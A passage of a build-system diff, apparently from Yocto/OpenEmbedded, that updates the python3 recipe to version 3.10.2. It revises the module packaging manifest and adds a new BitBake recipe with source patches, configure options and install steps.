+ "${libdir}/python${PYTHON_MAJMIN}/pkgutil.py",
"${libdir}/python${PYTHON_MAJMIN}/platform.py",
"${libdir}/python${PYTHON_MAJMIN}/posixpath.py",
"${libdir}/python${PYTHON_MAJMIN}/re.py",
@@ -296,6 +295,7 @@
"${libdir}/python${PYTHON_MAJMIN}/rlcompleter.py",
"${libdir}/python${PYTHON_MAJMIN}/runpy.py",
"${libdir}/python${PYTHON_MAJMIN}/selectors.py",
+ "${libdir}/python${PYTHON_MAJMIN}/shutil.py",
"${libdir}/python${PYTHON_MAJMIN}/signal.py",
"${libdir}/python${PYTHON_MAJMIN}/site.py",
"${libdir}/python${PYTHON_MAJMIN}/sitecustomize.py",
@@ -314,21 +314,27 @@
"${libdir}/python${PYTHON_MAJMIN}/tokenize.py",
"${libdir}/python${PYTHON_MAJMIN}/traceback.py",
"${libdir}/python${PYTHON_MAJMIN}/types.py",
+ "${libdir}/python${PYTHON_MAJMIN}/typing.py",
+ "${libdir}/python${PYTHON_MAJMIN}/urllib",
+ "${libdir}/python${PYTHON_MAJMIN}/urllib/parse.py",
"${libdir}/python${PYTHON_MAJMIN}/warnings.py",
- "${libdir}/python${PYTHON_MAJMIN}/weakref.py"
+ "${libdir}/python${PYTHON_MAJMIN}/weakref.py",
+ "${prefix}/lib/python${PYTHON_MAJMIN}/config*/*[!.a]"
],
"cached": [
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/__future__.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/_bootlocale.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/_collections_abc.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/_compression.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/_markupbase.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/_sitebuiltins.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/_sysconfigdata.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/_sysconfigdata*.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/_weakrefset.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/abc.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/argparse.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/ast.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/bisect.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/bz2.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/code.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/codecs.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/codeop.*.pyc",
@@ -339,6 +345,7 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/csv.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/dis.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/enum.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/fnmatch.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/functools.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/genericpath.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/getopt.*.pyc",
@@ -350,10 +357,14 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/keyword.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/linecache.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/locale.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/lzma.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/ntpath.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/opcode.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/operator.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/optparse.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/os.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/pathlib.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/pkgutil.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/platform.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/posixpath.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/re.*.pyc",
@@ -361,6 +372,7 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/rlcompleter.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/runpy.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/selectors.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/shutil.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/signal.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/site.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/sre_compile.*.pyc",
@@ -378,6 +390,7 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/tokenize.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/traceback.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/types.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/typing.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/warnings.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/weakref.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/collections/__pycache__",
@@ -389,7 +402,9 @@
"${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__",
"${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__/abc.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__/machinery.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__/util.*.pyc"
+ "${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__/util.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/urllib/__pycache__",
+ "${libdir}/python${PYTHON_MAJMIN}/urllib/__pycache__/parse.*.pyc"
]
},
"crypt": {
@@ -405,10 +420,10 @@
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_blake2.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_crypt.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_hashlib.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_md5.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha1.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha256.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha3.*.so",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha1.*.so",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_md5.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha512.*.so"
],
"cached": [
@@ -419,7 +434,10 @@
"ctypes": {
"summary": "Python C types support",
"rdepends": [
- "core"
+ "core",
+ "crypt",
+ "io",
+ "math"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/ctypes",
@@ -519,19 +537,20 @@
]
},
"distutils-windows": {
- "cached": [],
- "files": [
- "${libdir}/python${PYTHON_MAJMIN}/distutils/command/wininst-*.exe"
- ],
+ "summary": "Python distribution utilities (Windows installer stubs)",
"rdepends": [
- "distutils"
+ "core"
],
- "summary": "Python distribution utilities (Windows installer stubs)"
+ "files": [],
+ "cached": []
},
"distutils": {
"summary": "Python Distribution Utilities",
"rdepends": [
- "core"
+ "compression",
+ "core",
+ "email",
+ "stringold"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/distutils"
@@ -544,7 +563,6 @@
"core",
"debugger",
"difflib",
- "logging",
"pprint",
"shell",
"stringold",
@@ -565,7 +583,9 @@
"datetime",
"io",
"math",
- "netclient"
+ "mime",
+ "netclient",
+ "stringold"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/email",
@@ -636,13 +656,11 @@
"io": {
"summary": "Python low-level I/O",
"rdepends": [
- "compression",
"core",
"crypt",
"math",
"netclient",
- "shell",
- "unixadmin"
+ "shell"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/_pyio.py",
@@ -679,7 +697,11 @@
"summary": "Python logging support",
"rdepends": [
"core",
- "stringold"
+ "io",
+ "netserver",
+ "pickle",
+ "stringold",
+ "threading"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/logging"
@@ -792,12 +814,12 @@
"shell",
"smtpd",
"sqlite3",
+ "statistics",
"stringold",
"syslog",
"terminal",
"threading",
"tkinter",
- "typing",
"unittest",
"unixadmin",
"venv",
@@ -813,11 +835,18 @@
"summary": "Python multiprocessing support",
"rdepends": [
"core",
+ "crypt",
+ "ctypes",
"io",
- "pickle"
+ "math",
+ "mmap",
+ "netclient",
+ "pickle",
+ "threading"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_multiprocessing.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_posixshmem.*.so",
"${libdir}/python${PYTHON_MAJMIN}/multiprocessing"
],
"cached": []
@@ -844,10 +873,9 @@
"${libdir}/python${PYTHON_MAJMIN}/mimetypes.py",
"${libdir}/python${PYTHON_MAJMIN}/nntplib.py",
"${libdir}/python${PYTHON_MAJMIN}/poplib.py",
+ "${libdir}/python${PYTHON_MAJMIN}/secrets.py",
"${libdir}/python${PYTHON_MAJMIN}/smtplib.py",
"${libdir}/python${PYTHON_MAJMIN}/telnetlib.py",
- "${libdir}/python${PYTHON_MAJMIN}/urllib",
- "${libdir}/python${PYTHON_MAJMIN}/urllib/__pycache__",
"${libdir}/python${PYTHON_MAJMIN}/uuid.py"
],
"cached": [
@@ -857,6 +885,7 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/mimetypes.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/nntplib.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/poplib.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/secrets.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/smtplib.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/telnetlib.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/uuid.*.pyc"
@@ -865,7 +894,6 @@
"netserver": {
"summary": "Python Internet Protocol servers",
"rdepends": [
- "compression",
"core",
"crypt",
"datetime",
@@ -875,9 +903,7 @@
"math",
"mime",
"netclient",
- "shell",
- "stringold",
- "unixadmin"
+ "stringold"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/cgi.py",
@@ -934,12 +960,8 @@
"rdepends": [
"core"
],
- "files": [
- "${libdir}/python${PYTHON_MAJMIN}/pkgutil.py"
- ],
- "cached": [
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/pkgutil.*.pyc"
- ]
+ "files": [],
+ "cached": []
},
"plistlib": {
"summary": "Generate and parse Mac OS X .plist files",
@@ -958,7 +980,8 @@
"pprint": {
"summary": "Python pretty-print support",
"rdepends": [
- "core"
+ "core",
+ "profile"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/pprint.py"
@@ -974,12 +997,14 @@
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/cProfile.py",
+ "${libdir}/python${PYTHON_MAJMIN}/dataclasses.py",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_lsprof.*.so",
"${libdir}/python${PYTHON_MAJMIN}/profile.py",
"${libdir}/python${PYTHON_MAJMIN}/pstats.py"
],
"cached": [
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/cProfile.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/dataclasses.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/profile.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/pstats.*.pyc"
]
@@ -987,9 +1012,7 @@
"pydoc": {
"summary": "Python interactive help support",
"rdepends": [
- "core",
- "netclient",
- "pkgutil"
+ "core"
],
"files": [
"${bindir}/pydoc*",
@@ -1013,24 +1036,18 @@
"shell": {
"summary": "Python shell-like functionality",
"rdepends": [
- "compression",
"core",
- "stringold",
- "unixadmin"
+ "stringold"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/cmd.py",
- "${libdir}/python${PYTHON_MAJMIN}/fnmatch.py",
"${libdir}/python${PYTHON_MAJMIN}/glob.py",
- "${libdir}/python${PYTHON_MAJMIN}/shlex.py",
- "${libdir}/python${PYTHON_MAJMIN}/shutil.py"
+ "${libdir}/python${PYTHON_MAJMIN}/shlex.py"
],
"cached": [
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/cmd.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/fnmatch.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/glob.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/shlex.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/shutil.*.pyc"
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/shlex.*.pyc"
]
},
"smtpd": {
@@ -1070,6 +1087,20 @@
],
"cached": []
},
+ "statistics": {
+ "summary": "Basic statistics module",
+ "rdepends": [
+ "core",
+ "math",
+ "numbers"
+ ],
+ "files": [
+ "${libdir}/python${PYTHON_MAJMIN}/statistics.py"
+ ],
+ "cached": [
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/statistics.*.pyc"
+ ]
+ },
"stringold": {
"summary": "Python string APIs [deprecated]",
"rdepends": [
@@ -1113,13 +1144,11 @@
"core"
],
"files": [
- "${libdir}/python${PYTHON_MAJMIN}/_dummy_thread.py",
"${libdir}/python${PYTHON_MAJMIN}/_threading_local.py",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_queue.*.so",
"${libdir}/python${PYTHON_MAJMIN}/queue.py"
],
"cached": [
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/_dummy_thread.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/_threading_local.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/queue.*.pyc"
]
@@ -1130,31 +1159,22 @@
"core"
],
"files": [
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_tkinter.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_tkinter.*.so",
"${libdir}/python${PYTHON_MAJMIN}/tkinter"
],
"cached": []
},
- "typing": {
- "summary": "Python typing support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python${PYTHON_MAJMIN}/typing.py"
- ],
- "cached": [
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/typing.*.pyc"
- ]
- },
"unittest": {
"summary": "Python unit testing framework",
"rdepends": [
+ "asyncio",
"core",
"difflib",
+ "io",
"logging",
+ "netclient",
+ "numbers",
"pprint",
- "shell",
"stringold"
],
"files": [
@@ -1172,7 +1192,6 @@
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/getpass.py",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/grp.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/nis.*.so"
],
"cached": [
@@ -1182,12 +1201,9 @@
"venv": {
"summary": "Provides support for creating lightweight virtual environments with their own site directories, optionally isolated from system site directories.",
"rdepends": [
- "compression",
"core",
"logging",
- "shell",
- "stringold",
- "unixadmin"
+ "stringold"
],
"files": [
"${bindir}/pyvenv*",
@@ -1210,7 +1226,21 @@
"xmlrpc": {
"summary": "Python XML-RPC support",
"rdepends": [
+ "compression",
"core",
+ "crypt",
+ "datetime",
+ "email",
+ "fcntl",
+ "html",
+ "io",
+ "math",
+ "mime",
+ "netclient",
+ "netserver",
+ "numbers",
+ "pydoc",
+ "stringold",
"xml"
],
"files": [
diff --git a/meta/recipes-devtools/python/python3/reformat_sysconfig.py b/meta/recipes-devtools/python/python3/reformat_sysconfig.py
index c4164313e8..5e2b12879d 100644
--- a/meta/recipes-devtools/python/python3/reformat_sysconfig.py
+++ b/meta/recipes-devtools/python/python3/reformat_sysconfig.py
@@ -16,6 +16,6 @@ with open(sys.argv[1], 'r') as f:
with open(sys.argv[1], 'w') as f:
for k in sorted(l.keys()):
f.write('%s = ' % k)
- pprint.pprint(l[k], stream=f, width=sys.maxsize)
+ pprint.pprint(l[k], stream=f, width=1)
f.write('\n')
diff --git a/meta/recipes-devtools/python/python3/run-ptest b/meta/recipes-devtools/python/python3/run-ptest
index 3e45d3918c..405b07f495 100644
--- a/meta/recipes-devtools/python/python3/run-ptest
+++ b/meta/recipes-devtools/python/python3/run-ptest
@@ -1,3 +1,3 @@
#!/bin/sh
-python3 -m test -v | sed -u -e '/\.\.\. ok/ s/^/PASS: /g' -e '/\.\.\. [ERROR|FAIL]/ s/^/FAIL: /g' -e '/\.\.\. skipped/ s/^/SKIP: /g' -e 's/ \.\.\. ok//g' -e 's/ \.\.\. ERROR//g' -e 's/ \.\.\. FAIL//g' -e 's/ \.\.\. skipped//g'
+python3 -m test -v | sed -u -e '/\.\.\. ok/ s/^/PASS: /g' -r -e '/\.\.\. (ERROR|FAIL)/ s/^/FAIL: /g' -e '/\.\.\. skipped/ s/^/SKIP: /g' -e 's/ \.\.\. ok//g' -e 's/ \.\.\. ERROR//g' -e 's/ \.\.\. FAIL//g' -e 's/ \.\.\. skipped//g'
diff --git a/meta/recipes-devtools/python/python3_3.10.2.bb b/meta/recipes-devtools/python/python3_3.10.2.bb
new file mode 100644
index 0000000000..32da2a12c8
--- /dev/null
+++ b/meta/recipes-devtools/python/python3_3.10.2.bb
@@ -0,0 +1,414 @@
+SUMMARY = "The Python Programming Language"
+HOMEPAGE = "http://www.python.org"
+DESCRIPTION = "Python is a programming language that lets you work more quickly and integrate your systems more effectively."
+LICENSE = "PSF-2.0"
+SECTION = "devel/python"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4b8801e752a2c70ac41a5f9aa243f766"
+
+SRC_URI = "http://www.python.org/ftp/python/${PV}/Python-${PV}.tar.xz \
+ file://run-ptest \
+ file://create_manifest3.py \
+ file://get_module_deps3.py \
+ file://python3-manifest.json \
+ file://check_build_completeness.py \
+ file://reformat_sysconfig.py \
+ file://cgi_py.patch \
+ file://0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch \
+ ${@bb.utils.contains('PACKAGECONFIG', 'tk', '', 'file://avoid_warning_about_tkinter.patch', d)} \
+ file://0001-Do-not-use-the-shell-version-of-python-config-that-w.patch \
+ file://python-config.patch \
+ file://0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch \
+ file://0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch \
+ file://0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch \
+ file://crosspythonpath.patch \
+ file://0001-Use-FLAG_REF-always-for-interned-strings.patch \
+ file://0001-test_locale.py-correct-the-test-output-format.patch \
+ file://0017-setup.py-do-not-report-missing-dependencies-for-disa.patch \
+ file://0001-Makefile-do-not-compile-.pyc-in-parallel.patch \
+ file://0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch \
+ file://0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch \
+ file://0001-test_ctypes.test_find-skip-without-tools-sdk.patch \
+ file://makerace.patch \
+ file://0001-sysconfig.py-use-platlibdir-also-for-purelib.patch \
+ file://0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch \
+ "
+
+SRC_URI:append:class-native = " \
+ file://0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch \
+ file://0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch \
+ file://12-distutils-prefix-is-inside-staging-area.patch \
+ file://0001-Don-t-search-system-for-headers-libraries.patch \
+ "
+SRC_URI[sha256sum] = "17de3ac7da9f2519aa9d64378c603a73a0e9ad58dffa8812e45160c086de64c7"
+
+# exclude pre-releases for both python 2.x and 3.x
+UPSTREAM_CHECK_REGEX = "[Pp]ython-(?P<pver>\d+(\.\d+)+).tar"
+UPSTREAM_CHECK_URI = "https://www.python.org/downloads/source/"
+
+CVE_PRODUCT = "python"
+
+# Upstream consider this expected behaviour
+CVE_CHECK_IGNORE += "CVE-2007-4559"
+# This is not exploitable when glibc has CVE-2016-10739 fixed.
+CVE_CHECK_IGNORE += "CVE-2019-18348"
+
+# This is windows only issue.
+CVE_CHECK_IGNORE += "CVE-2020-15523"
+
+PYTHON_MAJMIN = "3.10"
+
+S = "${WORKDIR}/Python-${PV}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit autotools pkgconfig qemu ptest multilib_header update-alternatives
+
+MULTILIB_SUFFIX = "${@d.getVar('base_libdir',1).split('/')[-1]}"
+
+ALTERNATIVE:${PN}-dev = "python3-config"
+ALTERNATIVE_LINK_NAME[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config"
+ALTERNATIVE_TARGET[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}"
+
+
+DEPENDS = "bzip2-replacement-native libffi bzip2 openssl sqlite3 zlib virtual/libintl xz virtual/crypt util-linux-libuuid libtirpc libnsl2 autoconf-archive-native"
+DEPENDS:append:class-target = " python3-native"
+DEPENDS:append:class-nativesdk = " python3-native"
+
+# force to use the mutex+cond implementation (https://bugs.python.org/issue41710)
+CFLAGS += "-DHAVE_BROKEN_POSIX_SEMAPHORES"
+
+EXTRA_OECONF = " --without-ensurepip --enable-shared --with-platlibdir=${baselib}"
+EXTRA_OECONF:append:class-native = " --bindir=${bindir}/${PN}"
+
+export CROSSPYTHONPATH="${STAGING_LIBDIR_NATIVE}/python${PYTHON_MAJMIN}/lib-dynload/"
+
+EXTRANATIVEPATH += "python3-native"
+
+# LTO will be enabled via packageconfig depending upong distro features
+LTO:class-target = ""
+
+CACHED_CONFIGUREVARS = " \
+ ac_cv_file__dev_ptmx=yes \
+ ac_cv_file__dev_ptc=no \
+ ac_cv_working_tzset=yes \
+"
+
+# PGO currently causes builds to not be reproducible so disable by default, see YOCTO #13407
+PACKAGECONFIG:class-target ??= "readline gdbm ${@bb.utils.filter('DISTRO_FEATURES', 'lto', d)}"
+PACKAGECONFIG:class-native ??= "readline gdbm"
+PACKAGECONFIG:class-nativesdk ??= "readline gdbm"
+PACKAGECONFIG[readline] = ",,readline"
+# Use profile guided optimisation by running PyBench inside qemu-user
+PACKAGECONFIG[pgo] = "--enable-optimizations,,qemu-native"
+PACKAGECONFIG[tk] = ",,tk"
+PACKAGECONFIG[gdbm] = ",,gdbm"
+PACKAGECONFIG[lto] = "--with-lto,,"
+
+do_configure:prepend () {
+ mkdir -p ${B}/Modules
+ cat > ${B}/Modules/Setup.local << EOF
+*disabled*
+${@bb.utils.contains('PACKAGECONFIG', 'gdbm', '', '_gdbm _dbm', d)}
+${@bb.utils.contains('PACKAGECONFIG', 'readline', '', 'readline', d)}
+EOF
+}
+
+CPPFLAGS:append = " -I${STAGING_INCDIR}/ncursesw -I${STAGING_INCDIR}/uuid"
+
+EXTRA_OEMAKE = '\
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ LIB=${baselib} \
+'
+
+do_compile:prepend:class-target() {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pgo', 'true', 'false', d)}; then
+ qemu_binary="${@qemu_wrapper_cmdline(d, '${STAGING_DIR_TARGET}', ['${B}', '${STAGING_DIR_TARGET}/${base_libdir}'])}"
+ cat >pgo-wrapper <<EOF
+#!/bin/sh
+cd ${B}
+$qemu_binary "\$@"
+EOF
+ chmod +x pgo-wrapper
+ fi
+}
+
+do_install:prepend() {
+ ${WORKDIR}/check_build_completeness.py ${T}/log.do_compile
+}
+
+do_install:append:class-target() {
+ oe_multilib_header python${PYTHON_MAJMIN}/pyconfig.h
+}
+
+do_install:append:class-native() {
+ # Make sure we use /usr/bin/env python
+ for PYTHSCRIPT in `grep -rIl ${bindir}/${PN}/python ${D}${bindir}/${PN}`; do
+ sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
+ done
+ # Add a symlink to the native Python so that scripts can just invoke
+ # "nativepython" and get the right one without needing absolute paths
+ # (these often end up too long for the #! parser in the kernel as the
+ # buffer is 128 bytes long).
+ ln -s python3-native/python3 ${D}${bindir}/nativepython3
+
+ # Remove the opt-1.pyc and opt-2.pyc files. There are over 3,000 of them
+ # and the overhead in each recipe-sysroot-native isn't worth it, particularly
+ # when they're only used for python called with -O or -OO.
+ #find ${D} -name *opt-*.pyc -delete
+ # Remove all pyc files. There are a ton of them and it is probably faster to let
+ # python create the ones it wants at runtime rather than manage in the sstate
+ # tarballs and sysroot creation.
+ find ${D} -name *.pyc -delete
+
+}
+
+do_install:append() {
+ for c in ${D}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
+ python3 ${WORKDIR}/reformat_sysconfig.py $c
+ done
+ rm -f ${D}${libdir}/python${PYTHON_MAJMIN}/__pycache__/_sysconfigdata*.cpython*
+
+ mkdir -p ${D}${libdir}/python-sysconfigdata
+ sysconfigfile=`find ${D} -name _sysconfig*.py`
+ cp $sysconfigfile ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
+
+ sed -i \
+ -e "s,^ 'LIBDIR'.*, 'LIBDIR': '${STAGING_LIBDIR}'\,,g" \
+ -e "s,^ 'INCLUDEDIR'.*, 'INCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
+ -e "s,^ 'CONFINCLUDEDIR'.*, 'CONFINCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
+ -e "/^ 'INCLDIRSTOMAKE'/{N; s,/usr/include,${STAGING_INCDIR},g}" \
+ -e "/^ 'INCLUDEPY'/s,/usr/include,${STAGING_INCDIR},g" \
+ ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
+
+ # Unfortunately the following pyc files are non-deterministc due to 'frozenset'
+ # being written without strict ordering, even with PYTHONHASHSEED = 0
+ # Upstream is discussing ways to solve the issue properly, until then let's
+ # just not install the problematic files.
+ # More info: http://benno.id.au/blog/2013/01/15/python-determinism
+ rm -f ${D}${libdir}/python${PYTHON_MAJMIN}/test/__pycache__/test_range.cpython*
+ rm -f ${D}${libdir}/python${PYTHON_MAJMIN}/test/__pycache__/test_xml_etree.cpython*
+
+ # Remove the opt-1.pyc and opt-2.pyc files. They effectively waste space on embedded
+ # style targets as they're only used when python is called with the -O or -OO options
+ # which is rare.
+ find ${D} -name *opt-*.pyc -delete
+}
+
+do_install:append:class-nativesdk () {
+ # Make sure we use /usr/bin/env python
+ for PYTHSCRIPT in `grep -rIl ${bindir}/python ${D}${bindir}`; do
+ sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
+ done
+ create_wrapper ${D}${bindir}/python${PYTHON_MAJMIN} TERMINFO_DIRS='${sysconfdir}/terminfo:/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo' PYTHONNOUSERSITE='1'
+}
+
+SSTATE_SCAN_FILES += "Makefile _sysconfigdata.py"
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/lib*/python3*/_sysconfigdata*.py:${TMPDIR} \
+ populate_sysroot:*/lib*/python3*/_sysconfigdata*.py:${COREBASE} \
+ populate_sysroot:*/lib*/python3*/config-*/Makefile:${TMPDIR} \
+ populate_sysroot:*/lib*/python3*/config-*/Makefile:${COREBASE} \
+ populate_sysroot:*/lib*/python-sysconfigdata/_sysconfigdata.py:${TMPDIR} \
+ populate_sysroot:*/lib*/python-sysconfigdata/_sysconfigdata.py:${COREBASE} \
+ "
+PACKAGE_PREPROCESS_FUNCS += "py_package_preprocess"
+
+py_package_preprocess () {
+ # Remove references to buildmachine paths in target Makefile and _sysconfigdata
+ sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}${PYTHON_ABI}*/Makefile \
+ ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py \
+ ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config
+
+ # Reformat _sysconfigdata after modifying it so that it remains
+ # reproducible
+ for c in ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
+ python3 ${WORKDIR}/reformat_sysconfig.py $c
+ done
+
+ # Recompile _sysconfigdata after modifying it
+ cd ${PKGD}
+ sysconfigfile=`find . -name _sysconfigdata_*.py`
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile')"
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile', optimize=1)"
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile', optimize=2)"
+ cd -
+
